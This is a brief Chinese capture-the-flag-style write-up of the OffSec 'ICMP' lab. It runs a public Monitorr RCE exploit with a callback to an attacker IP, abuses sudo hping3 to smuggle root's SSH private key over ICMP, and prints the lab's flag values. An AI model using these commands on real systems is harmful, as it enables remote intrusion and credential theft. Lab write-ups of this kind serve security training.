[Offsec Lab] ICMP Monitorr-RCE+hping3权限提升

信息收集

IP Address	Opening Ports
192.168.52.218	TCP:22,80

$ nmap -p- 192.168.52.218 --min-rate 1000 -sC -sV -Pn

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
|   256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_  256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-title:             Monitorr            | Monitorr        
|_Requested resource was http://192.168.52.218/mon/
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Monitorr-RCE

$ searchsploit Monitorr -w

http://192.168.52.218/mon/assets/php/upload.php

$ python3 /usr/share/exploitdb/exploits/php/webapps/48980.py http://192.168.52.218/mon 192.168.49.52 10077

fox目录下存在Local.txt

Local.txt

4d2ed33d3467974721246fd088ec495c

www-data -> fox

www-data@icmp:/home/fox$ cat reminder

www-data@icmp:/home/fox$ cat ./devel/crypt.php

BUHNIJMONIBUVCYTTYVGBUHJNI

权限提升-hping3

$ sudo -l

https://gtfobins.github.io/gtfobins/hping3/

如果你尝试在kali上运行可能会触发内存锁定警告,所以保险的方法就是监听和执行应均在靶机上执行…

$ sudo hping3 --icmp 127.0.0.1 --listen signature --safe

$ sudo hping3 --icmp 127.0.0.1 --sign signature --file /root/.ssh/id_rsa -d 4000 -c 2

$ chmod 600 id_rsa

$ ssh -i ./id_rsa root@192.168.58.218

proof.txt

407e47c8f6e703f101254a04448f1014